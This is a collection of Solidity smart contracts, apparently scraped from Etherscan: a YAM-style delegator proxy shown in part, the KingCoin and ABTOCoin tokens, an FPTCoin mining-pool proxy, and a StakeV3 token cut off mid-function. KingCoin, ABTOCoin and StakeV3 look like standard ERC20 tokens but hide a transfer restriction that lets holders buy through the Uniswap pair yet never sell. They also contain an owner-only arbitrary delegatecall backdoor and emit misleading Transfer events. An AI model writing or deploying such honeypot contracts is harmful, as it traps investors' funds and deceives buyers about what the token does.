subtractedValue; // Shh delegateAndReturn(); } /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent (-1 means infinite) */ function allowance( address owner, address spender ) external view returns (uint256) { owner; spender; // Shh delegateToViewAndReturn(); } /** * @notice Get the current allowance from `owner` for `spender` * @param delegator The address of the account which has designated a delegate * @return Address of delegatee */ function delegates( address delegator ) external view returns (address) { delegator; // Shh delegateToViewAndReturn(); } /** * @notice Get the token balance of the `owner` * @param owner The address of the account to query * @return The number of tokens owned by `owner` */ function balanceOf(address owner) external view returns (uint256) { owner; // Shh delegateToViewAndReturn(); } /** * @notice Currently unused. For future compatability * @param owner The address of the account to query * @return The number of underlying tokens owned by `owner` */ function balanceOfUnderlying(address owner) external view returns (uint256) { owner; // Shh delegateToViewAndReturn(); } /*** Gov Functions ***/ /** * @notice Begins transfer of gov rights. The newPendingGov must call `_acceptGov` to finalize the transfer. * @dev Gov function to begin change of gov. The newPendingGov must call `_acceptGov` to finalize the transfer. * @param newPendingGov New pending gov. */ function _setPendingGov(address newPendingGov) external { newPendingGov; // Shh delegateAndReturn(); } function _setRebaser(address rebaser_) external { rebaser_; // Shh delegateAndReturn(); } function _setIncentivizer(address incentivizer_) external { incentivizer_; // Shh delegateAndReturn(); } /** * @notice Accepts transfer of gov rights. msg.sender must be pendingGov * @dev Gov function for pending gov to accept role and update gov * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptGov() external { delegateAndReturn(); } function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { account; blockNumber; delegateToViewAndReturn(); } function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { delegatee; nonce; expiry; v; r; s; delegateAndReturn(); } function delegate(address delegatee) external { delegatee; delegateAndReturn(); } function getCurrentVotes(address account) external view returns (uint256) { account; delegateToViewAndReturn(); } /** * @notice Internal method to delegate execution to another contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * @param callee The contract to delegatecall * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateTo(address callee, bytes memory data) internal returns (bytes memory) { (bool success, bytes memory returnData) = callee.delegatecall(data); assembly { if eq(success, 0) { revert(add(returnData, 0x20), returndatasize) } } return returnData; } /** * @notice Delegates execution to the implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateToImplementation(bytes memory data) public returns (bytes memory) { return delegateTo(implementation, data); } /** * @notice Delegates execution to an implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * There are an additional 2 prefix uints from the wrapper returndata, which we ignore since we make an extra hop. * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateToViewImplementation(bytes memory data) public view returns (bytes memory) { (bool success, bytes memory returnData) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", data)); assembly { if eq(success, 0) { revert(add(returnData, 0x20), returndatasize) } } return abi.decode(returnData, (bytes)); } function delegateToViewAndReturn() private view returns (bytes memory) { (bool success, ) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", msg.data)); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(add(free_mem_ptr, 0x40), returndatasize) } } } function delegateAndReturn() private returns (bytes memory) { (bool success, ) = implementation.delegatecall(msg.data); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(free_mem_ptr, returndatasize) } } } /** * @notice Delegates execution to an implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts */ function () external payable { require(msg.value == 0,"YAMDelegator:fallback: cannot send value to fallback"); // delegate all other functions to current implementation delegateAndReturn(); } }
DC1
pragma solidity ^0.5.17; /* King Coin */ interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract KingCoin { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity ^0.5.17; /* ABTOCoin */ interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract ABTOCoin { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity = 0.5.16; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Halt is Ownable { bool private halted = false; modifier notHalted() { require(!halted,"This contract is halted"); _; } modifier isHalted() { require(halted,"This contract is not halted"); _; } /// @notice function Emergency situation that requires /// @notice contribution period to stop or not. function setHalt(bool halt) public onlyOwner { halted = halt; } } contract ReentrancyGuard { /** * @dev We use a single lock for the whole contract. */ bool private reentrancyLock = false; /** * @dev Prevents a contract from calling itself, directly or indirectly. * @notice If you mark a function `nonReentrant`, you should also * mark it `external`. Calling one nonReentrant function from * another is not supported. Instead, you can implement a * `private` function doing the actual work, and a `external` * wrapper marked as `nonReentrant`. */ modifier nonReentrant() { require(!reentrancyLock); reentrancyLock = true; _; reentrancyLock = false; } } contract MinePoolData is Ownable,Halt,ReentrancyGuard { address public fnx ; address public lp; // address public rewardDistribution; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; uint256 public rewardRate; uint256 public rewardPerduration; //reward token number per duration uint256 public duration; mapping(address => uint256) public rewards; mapping(address => uint256) public userRewardPerTokenPaid; uint256 public periodFinish; uint256 public startTime; uint256 internal totalsupply; mapping(address => uint256) internal balances; } /** * @title baseProxy Contract */ contract baseProxy is MinePoolData { address public implementation; constructor(address implementation_) public { // Creator of the contract is admin during initialization implementation = implementation_; } function getImplementation()public view returns(address){ return implementation; } function setImplementation(address implementation_)public onlyOwner{ implementation = implementation_; (bool success,) = implementation_.delegatecall(abi.encodeWithSignature("update()")); require(success); } /** * @notice Delegates execution to the implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateToImplementation(bytes memory data) public returns (bytes memory) { (bool success, bytes memory returnData) = implementation.delegatecall(data); assembly { if eq(success, 0) { revert(add(returnData, 0x20), returndatasize) } } return returnData; } /** * @notice Delegates execution to an implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * There are an additional 2 prefix uints from the wrapper returndata, which we ignore since we make an extra hop. * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateToViewImplementation(bytes memory data) public view returns (bytes memory) { (bool success, bytes memory returnData) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", data)); assembly { if eq(success, 0) { revert(add(returnData, 0x20), returndatasize) } } return abi.decode(returnData, (bytes)); } function delegateToViewAndReturn() internal view returns (bytes memory) { (bool success, ) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", msg.data)); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(add(free_mem_ptr, 0x40), returndatasize) } } } function delegateAndReturn() internal returns (bytes memory) { (bool success, ) = implementation.delegatecall(msg.data); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(free_mem_ptr, returndatasize) } } } } /** * @title FPTCoin mine pool, which manager contract is FPTCoin. * @dev A smart-contract which distribute some mine coins by FPTCoin balance. * */ contract MinePoolProxy is baseProxy { constructor (address implementation_) baseProxy(implementation_) public{ } /** * @dev default function for foundation input miner coins. */ function()external payable{ } function setPoolMineAddress(address _liquidpool,address _fnxaddress) public { delegateAndReturn(); } /** * @dev changer liquid pool distributed time interval , only foundation owner can modify database. * @ reward the distributed token amount in the time interval * @ mineInterval the distributed time interval. */ function setMineRate(uint256 /*reward*/,uint256/*rewardinterval*/) public { delegateAndReturn(); } /** * @dev getting back the left mine token * @ reciever the reciever for getting back mine token */ function getbackLeftMiningToken(address /*reciever*/) public { delegateAndReturn(); } /** * @dev set period to finshi mining * @ _periodfinish the finish time */ function setPeriodFinish(uint256 /*startTime*/,uint256 /*endTime*/)public { delegateAndReturn(); } /** * @dev user stake in lp token * @ amount stake in amout */ function stake(uint256 /*amount*/,bytes memory /*data*/) public { delegateAndReturn(); } /** * @dev user unstake to cancel mine * @ amount stake in amout */ function unstake(uint256 /*amount*/,bytes memory /*data*/) public { delegateAndReturn(); } /** * @dev user unstake and get back reward * @ amount stake in amout */ function exit() public { delegateAndReturn(); } /** * @dev user redeem mine rewards. */ function getReward() public { delegateAndReturn(); } /////////////////////////////////////////////////////////////////////////////////// /** * @return Total number of distribution tokens balance. */ function distributionBalance() public view returns (uint256) { delegateToViewAndReturn(); } /** * @param addr The user to look up staking information for. * @return The number of staking tokens deposited for addr. */ function totalStakedFor(address addr) public view returns (uint256){ delegateToViewAndReturn(); } /** * @dev retrieve user's stake balance. * account user's account */ function totalRewards(address account) public view returns (uint256) { delegateToViewAndReturn(); } /** * @dev all stake token. * @return The number of staking tokens */ function totalStaked() public view returns (uint256) { delegateToViewAndReturn(); } /** * @dev get mine info */ function getMineInfo() public view returns (uint256,uint256,uint256,uint256) { delegateToViewAndReturn(); } function getVersion() public view returns (uint256) { delegateToViewAndReturn(); } }
DC1
/** *Submitted for verification at Etherscan.io on 2020-10-29 */ pragma solidity ^0.5.17; /* StakeV3 */ interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract StakeV3 { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); 